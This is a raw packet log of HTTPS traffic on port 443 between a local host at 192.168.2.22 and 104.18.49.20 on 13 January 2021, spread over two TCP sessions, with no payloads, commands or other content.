Jan 13, 2021 13:44:41.501912117 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.503060102 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.503108978 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.503150940 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.503185987 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.503223896 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.503261089 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.503262043 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.503298044 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.503326893 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.503335953 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.503374100 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.503401041 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.503420115 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.503460884 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.503489017 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.503498077 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.503536940 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.503566980 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.503572941 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.503609896 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.503637075 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.503647089 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.503683090 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.503710032 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.503727913 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.503768921 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.503797054 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.503806114 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.503845930 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.503886938 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.504283905 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.504394054 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.504430056 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.504476070 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.504508972 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.504518032 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.504555941 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.504584074 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.505157948 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.505188942 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.505218029 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.505247116 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.505249977 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.505276918 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.505305052 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.505306005 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.505337000 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.505364895 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.506045103 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.506074905 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.506110907 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.506145000 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.506154060 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.506175995 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.506201982 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.506205082 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.506236076 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.506268024 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.506951094 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.506977081 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.510036945 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.549556017 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.595508099 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.177455902 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.177501917 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.177539110 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.177563906 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.177608013 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.177609921 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.177643061 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.177644968 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.177680016 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.177719116 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.177725077 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.177798033 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.178431034 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.178471088 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.178498030 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.178539991 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.179037094 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.179079056 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.179603100 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.180108070 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.180151939 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.180233955 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.181279898 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.181322098 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.181401014 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.182331085 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.182368040 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.182465076 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.183449030 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.183491945 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.183602095 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.184556961 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.184597969 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.184674978 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.185774088 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.185822964 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.185935974 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.186819077 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.186861038 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.187954903 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.187994003 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.188064098 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.188930035 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.258697033 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.258729935 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.258847952 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.258884907 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.258987904 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.259908915 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.259951115 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.260020018 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.261106014 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.261154890 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.261370897 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.262191057 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.262233019 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.262284994 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.263350010 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.263392925 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.263469934 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.264332056 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.264372110 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.264441967 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.265595913 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.265636921 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.265850067 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.266570091 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.266608000 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.266664028 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.267638922 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.267679930 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.267987013 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.268861055 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.268902063 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.269948006 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.269989967 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.270023108 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.271032095 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.271074057 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.271119118 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.272046089 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.272087097 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.272102118 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.273188114 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.273228884 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.273300886 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.274255991 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.274292946 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.274373055 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.275341988 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.275382042 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.275501966 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.276556015 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.276597977 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.276668072 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.277560949 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.277601957 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.278750896 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.278791904 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.278832912 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.279823065 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.279865980 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.280503988 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.280920029 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.280961037 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.281210899 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.282062054 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.282124043 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.282186985 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.283114910 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.283148050 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.284466982 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.362999916 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.363060951 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.363343000 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.363434076 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.363466024 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.363547087 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.364047050 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.364090919 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.364165068 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.365153074 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.365192890 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.365277052 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.366283894 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.366326094 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.366384983 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.367450953 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.367491007 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.367571115 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.368479967 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.368520021 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.368582010 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.369585037 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.369625092 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.369697094 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.370738029 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.370786905 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.370932102 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.371826887 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.371869087 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.371932983 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.372891903 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.372934103 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.373661995 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.374010086 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.374051094 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.374315023 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.375127077 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.375170946 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.376199007 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.376235008 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.376270056 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.377327919 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.377368927 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.377429962 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.378447056 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.378487110 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.378546000 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.379493952 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.379532099 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.379590988 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.380589962 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.380628109 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.380702972 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.381726980 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.381767035 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.382813931 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.382854939 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.382919073 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.383948088 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.383990049 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.384177923 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.385034084 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.385075092 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.385139942 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.386151075 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.386192083 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.386290073 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.387317896 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.387356043 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.388384104 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.388428926 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.388495922 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.409580946 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.409636974 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.409723997 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.410064936 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.410115004 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.410212994 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.411097050 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.411139011 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.412185907 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.412225008 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.412271023 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.413255930 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.413880110 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.413918972 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.413995028 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.414510012 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.414551973 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.414618969 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.415566921 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.415605068 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.415663004 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.416795969 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.416837931 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.417610884 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.417809963 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.417848110 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.419061899 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.419121981 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.419203043 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.420094013 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.420164108 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.420490980 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.421130896 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.421201944 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.421258926 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.422305107 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.464443922 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.464498997 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.464714050 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.464752913 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.464790106 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.464843988 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.465104103 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.465147018 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.465759039 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.465785027 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.465797901 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.466010094 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.466480017 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.466522932 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.466615915 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.467046976 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.467088938 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.467123985 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.467159986 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.468034983 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.468076944 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.468115091 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.468159914 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.468985081 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.469027042 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.469063997 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.469063997 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.469119072 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.469290018 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.469949007 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.469990015 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.470026970 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.470909119 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.470909119 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.470949888 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.470988035 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.471009970 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.471841097 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.471883059 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.471911907 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.471921921 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.472265959 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.472755909 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.472805023 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.472845078 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.472908020 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.473741055 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.473783016 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.473818064 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.473850012 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.474656105 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.474704981 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.474745035 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.474775076 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.475617886 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.475658894 CET	443	49184	104.18.49.20	192.168.2.22
